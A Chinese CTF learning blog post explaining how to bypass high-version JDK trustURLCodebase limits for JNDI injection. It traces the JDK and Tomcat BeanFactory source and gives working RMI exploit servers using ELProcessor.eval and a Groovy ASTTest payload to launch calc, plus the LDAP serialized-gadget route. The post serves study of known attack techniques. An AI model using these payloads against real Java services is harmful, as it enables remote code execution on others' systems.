绕过JDK高版本限制进行JNDI注入
前面学过了log4j2的打法,但CVE2021属实是有点久远了,打NSS搜了道java,那道题有点意思,是绕过高版本的打一个ldap,然后二次打fastjson。
但是复现的时候,我配环境那里我始终有问题,感觉还是配少了😭😭😭
而且我需要收回前面乱配java环境改名字的blog说法,跑代码的时候识别不了java8、java17这种字眼,只能识别java,所以每次跑不同JDK环境只有在环境变量处我们修改顺序才能对上号。从上到下默认优先级从高到低,就是调顺序有点烦,但是不会报大错,我目前默认还是用Java20。
所以这次化繁为简,我从理论层慢慢看,后面再去把那道题打出来。
首先是为什么我们要绕过高版本JDK才能打JNDI注入呢?
对于JDK版本11.0.1、8u191、7u201、6u211及以上,RMI和LDAP的trustURLCodebase已经被限制,但是还存在几种方法绕过。
所谓天留一线生机,话不说透,命不算尽....(原谅我最近玄幻小说看的有点入迷hhhh)
从trustURLCodebase的作用到代码审计
就像我们常用的JNDI-Exploit-Master工具,用过的师傅也知道,它也只有三种选项:
那么,啥是trustURLCodebase呢?我以前没有刻意去学习这个东西,以前就是用工具直接打就完了,直接成为工具小子....
但是难度高点的java,都是需要代码审计和手搓poc的,就像ysoserial就算神乎其神,也不能解决所有java反序列化,它更多的只是提供一个demo。
话扯太远,言归正传。
JNDI漏洞网上还是有很多解释,比如:
JNDI 注入漏洞的前世今生 - 知乎 (zhihu.com)
深入学习 Java 反序列化之 JNDI 运行逻辑 - FreeBuf网络安全行业门户
如果要深入到trustURLCodebase内部逻辑是啥去解释,我自斟我的水平肯定不如网上那些代码审计的大神讲的清楚,这里我就三言两语解释一下它的作用。
贴一个Codebase的解释:
可以看看上述链接打RMI注入时,审计到RMI的这个相关类:
// com/sun/jndi/rmi/registry/RegistryContext.java private Object decodeObject(Remote r, Name name) throws NamingException { try { Object obj = (r instanceof RemoteReference) ? ((RemoteReference)r).getReference() : (Object)r; /* * Classes may only be loaded from an arbitrary URL codebase when * the system property com.sun.jndi.rmi.object.trustURLCodebase * has been set to "true". */ // Use reference if possible Reference ref = null; if (obj instanceof Reference) { ref = (Reference) obj; } else if (obj instanceof Referenceable) { ref = ((Referenceable)(obj)).getReference(); } if (ref != null && ref.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException( "The object factory is untrusted. Set the system property" + " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'."); } return NamingManager.getObjectInstance(obj, name, this, environment); // } catch (NamingException e) { ... }
前面的不做过多解释,我们的目的是要到达最后一个return,直接看到最后一个if判断:
if (ref != null && ref.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException( "The object factory is untrusted. Set the system property" + " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'."); }
根据注释所言,如果要解码的对象 r
是远程引用,就需要先解引用然后再调用 NamingManager.getObjectInstance
,其中会实例化对应的 ObjectFactory 类并调用其 getObjectInstance
方法。
因此为了绕过这里 ConfigurationException 的限制,我们有三种方法:
1、令 ref 为空,或者 2、令 ref.getFactoryClassLocation() 为空,或者 3、令 trustURLCodebase 为 true
对于第三种就是最简单的做法,当trustURLCodebase为真即可绕过。但是有些版本的jdk或者java环境这个参数设置为false,我么就需要考虑前两种才能绕过,这也是那个JNDI-Exploit工具括号里所注解的东西。
第一种,令 ref 为空,从语义上看需要 obj 既不是 Reference 也不是 Referenceable,即不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用;
第二种,令 ref.getFactoryClassLocation() 返回空,即让 ref 对象的 classFactoryLocation 属性为空,这个属性表示引用所指向对象的对应 factory 名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址(可以是多个地址,以空格分隔),这正是我们针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键。
换言之,如果我们在本地代码里找到这么一个factory工厂类满足条件,就能绕过最后的这个if判断,触发NamingManager.getObjectInstance()。
要满足这种情况,我们只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase。下一步还需要什么,继续看 NamingManager 的解析过程,如下所示:
// javax/naming/spi/NamingManager.java public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { // ... if (ref != null) { String f = ref.getFactoryClassName(); if (f != null) { // if reference identifies a factory, use exclusively factory = getObjectFactoryFromReference(ref, f); if (factory != null) { return factory.getObjectInstance(ref, name, nameCtx, environment); } // No factory found, so return original refInfo. // Will reach this point if factory class is not in // class path and reference does not contain a URL for it return refInfo; } else { // if reference has no factory, check for addresses // containing URLs answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null) { return answer; } } } // try using any specified factories answer = createObjectFromFactories(refInfo, name, nameCtx, environment); return (answer != null) ? answer : refInfo; }
可以看到,在处理 Reference 对象时,会先调用 ref.getFactoryClassName()
获取对应工厂类的名称,如果为空则通过网络去请求,即上述链接前文的情况;如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回。
因此,我们实际上可以指定一个存在于目标 classpath 中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制。这种通过目标已有代码去实现任意代码执行的漏洞利用辅助类统称为 gadget。
在这些 Gadget 中,最为常用的一个就是 org.apache.naming.factory.BeanFactory,这个类在 Tomcat 中,很多 web 应用都会包含。ysoserial工具的payloads中也经常有它的身影。
高版本为何不能继续这么打了?
这里的 jdk 版本是 jdk8u121 < temp < jdk8u191 才能直接工具一把梭,
我们集中看一下 jdk8u191 之后的版本对于这个漏洞是通过什么手段来修复的:
// 旧版本JDK /** * @param className A non-null fully qualified class name. * @param codebase A non-null, space-separated list of URL strings. */ public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } // 新版本JDK /** * @param className A non-null fully qualified class name. * @param codebase A non-null, space-separated list of URL strings. */ public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true".equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null; } }
非常显然,高版本jdk在使用URLClassLoader
加载器加载远程类之前加了个if语句检测。
根据trustURLCodebase的值是否为true
的值来进行判断,它的值默认为 false。通俗的来说,jdk8u191 之后的版本通过添加trustURLCodebase 的值是否为 true
这一手段,让我们无法加载 codebase,也就是无法让我们进行 URLClassLoader 的攻击了。
并且这种限制在 JDK 8u121
、7u131
、6u141
版本时加入。因此如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码。
而Oracle JDK 11.0.1, 8u191, 7u201, and 6u211及以后的版本,为了限制LDAP协议的JNDI利用,将系统属性com.sun.jndi.ldap.object.trustURLCodebase的默认值设置为false,即默认不允许LDAP从远程地址加载objectfactory类。
如何绕过高版本JDK打JNDI注入?
下面贴一张JNDI注入的图便于理解:
其实从前面的审计我就已经写出了方法,trustURLCodebase被默认为false,令ref为空不太现实,所以这里我们主要的攻击方式便呼之欲出:
绕过方法一
利用本地恶意 Class 作为 Reference Factory
简单地说,就是要服务端本地 ClassPath 中存在恶意 Factory 类可被利用来作为 Reference Factory 进行攻击利用。
该恶意 Factory 类必须实现javax.naming.spi.ObjectFactory
接口,实现该接口的 getObjectInstance() 方法。
这里我们找到的是这个org.apache.naming.factory.BeanFactory
类,其满足上述条件并存在于 Tomcat8 依赖包中,应用广泛。由此JNDI-Exploit-Master工具第一个打rmi的选项便是对应此,我去IDEA反编译看了下,RMIserver确实用的这个BeanFactory绕过:
该类的getObjectInstance()
函数中会通过反射的方式实例化 Reference 所指向的任意 Bean Class(Bean Class 就类似于我们之前说的那个 CommonsBeanUtils 这种),并且会调用 setter 方法为所有的属性赋值。而该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象,均是攻击者可控的。
接下来弹个calc试试:
JDK版本为1.8.0_401
我们先本地测一下,高版本jdk下,能不能成功弹出calc,这里就测一个简单的:
org.apache.naming.factory.BeanFactory
该类只有一个方法getObjectInstance,但根据需要对源代码进行了简化
需要指出的是,ref是攻击者返回的Reference对象、name是攻击者指定的类名(uri部分)、nameCtx则是攻击者LDAP地址的解析(IP、端口等)。
public class BeanFactory implements ObjectFactory { public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null) { try { beanClass = tcl.loadClass(beanClassName); } catch(ClassNotFoundException e) { } } else {} BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.getConstructor().newInstance(); // 实例化对象,需要无参构造函数!! // 从Reference中获取forceString参数 RefAddr ra = ref.get("forceString"); Map<String, Method> forced = new HashMap<>(); String value; // 对forceString参数进行分割 if (ra != null) { value = (String)ra.getContent(); Class<?> paramTypes[] = new Class[1]; paramTypes[0] = String.class; String setterName; int index; /* Items are given as comma separated list */ for (String param: value.split(",")) { // 使用逗号分割参数 param = param.trim(); index = param.indexOf('='); if (index >= 0) { setterName = param.substring(index + 1).trim(); // 等号后面强制设置为setter方法名 param = param.substring(0, index).trim(); // 等号前面为属性名 } else {} try { // 根据setter方法名获取setter方法,指定forceString后就是我们指定的方法,但注意参数是String类型! forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (NoSuchMethodException|SecurityException ex) { throw new NamingException ("Forced String setter " + setterName + " not found for property " + param); } } } Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { // 遍历Reference中的所有RefAddr ra = e.nextElement(); String propName = ra.getType(); // 获取属性名 // 过滤一些特殊的属性名,例如前面的forceString if (propName.equals(Constants.FACTORY) || propName.equals("scope") || propName.equals("auth") || propName.equals("forceString") || propName.equals("singleton")) { continue; } value = (String)ra.getContent(); // 属性名对应的参数 Object[] valueArray = new Object[1]; /* Shortcut for properties with explicitly configured setter */ Method method = forced.get(propName); // 根据属性名获取对应的方法 if (method != null) { valueArray[0] = value; try { method.invoke(bean, valueArray); // 执行方法,可用用forceString强制指定某个函数 } catch () {} continue; } // 省略 } }
根据源代码的逻辑,我们可用得到这样几个信息,在ldap或rmi服务器端,我们可用设定几个特殊的RefAddr,
· 该类必须有无参构造方法
· 并在其中设置一个forceString字段指定某个特殊方法名,该方法执行String类型的参数
· 通过上面的方法和一个String参数即可实现RCE
恰好有javax.el.ELProcessor满足该条件!!!
Server端:
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.8</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper</artifactId> <version>9.0.8</version> </dependency>
package com.jndiBypass; import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class TomcatBeanFactoryServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码 ref.add(new StringRefAddr("forceString", "bitterz=eval")); // 指定bitterz属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令 ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper); // 绑定目录名 System.out.println("Server Started!"); } }
client端:
package com.jndibypass; import sun.plugin2.liveconnect.JSExceptions; import javax.naming.InitialContext; public class AttackedClient { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://127.0.0.1:1099/Exploit"); } }
运行server端,然后再运行client端,弹出calc:
groovy.lang.GroovyClassLoader.parseClass(String text)
groovy中同样存在基于一个String参数触发的方法,上依赖:
<dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy-all</artifactId> <version>2.4.9</version> </dependency>
GroovyShellServer.java:
package com.jndiBypass; import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import groovy.lang.GroovyClassLoader; public class GroovyShellServer { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=parseClass")); String script = "@groovy.transform.ASTTest(value={\n" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" + "})\n" + "def x\n"; ref.add(new StringRefAddr("x",script)); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("evilGroovy", referenceWrapper); } }
还给我弹了好多个calc呃呃.....
还有其他方法,这里就不一一复现的,遇到具体题目具体分析,因为本地类可遇不可求。
绕过方法二
利用 LDAP 返回序列化数据,触发本地 Gadget
因为 LDAP + Reference 的路子是走不通的,完美思考用链子的方式进行攻击。
LDAP 服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象。如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的obj.decodeObject()
方法就会对这个字段的内容进行反序列化。此时,如果服务端 ClassPath 中存在反序列化咯多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击。
这也就是平常 JNDI 漏洞存在最多的形式,通过与其他链子结合,比如当时 2022 蓝帽杯有道题目,我前面也打过复现:蓝帽杯2022初赛-fastjson复现 - Eddie_Murphy - 博客园 (cnblogs.com),当时我还真不太明白原理,用的是第一种绕过方法,现在知道了是用了BeanFactory绕的,而还有种方法就是 fastjson 绕过高版本 jdk 攻击,而且我正在打的一道log4j2 + fastjson 绕过高版本jdk打JNDI注入,真是紧紧又凑凑啊.....
然后就是使用 ysoserial 工具生成 Commons-Collections 这条 Gadget 并进行 Base64 编码输出。
当然,这个用自己的 EXP 输出也行。
类题直接看我之前自己打的一道题:
ldap序列化利用绕过高版本jdk的JNDI题目 - Eddie_Murphy - 博客园 (cnblogs.com)
这类方法其实经常跟其他java套起来,就像上面的fastjson恶意序列化数据挂在服务端上,然后log4j2打ldap,触发反序列化RCE。
这个也跟一些XXE有关,也需要具体问题具体分析。
罢了,能力有限,就不继续献丑了,网上这方面的poc分析也有很多很多。
参考:
JDK8u191版本后的JNDI注入绕过 | 秋嘞个秋 (sl3epf.github.io)
JNDI注入利用原理及绕过高版本JDK限制_限制jndi查找/輸入驗證和過濾-CSDN博客
java高版本下各种JNDI Bypass方法复现 - bitterz - 博客园 (cnblogs.com)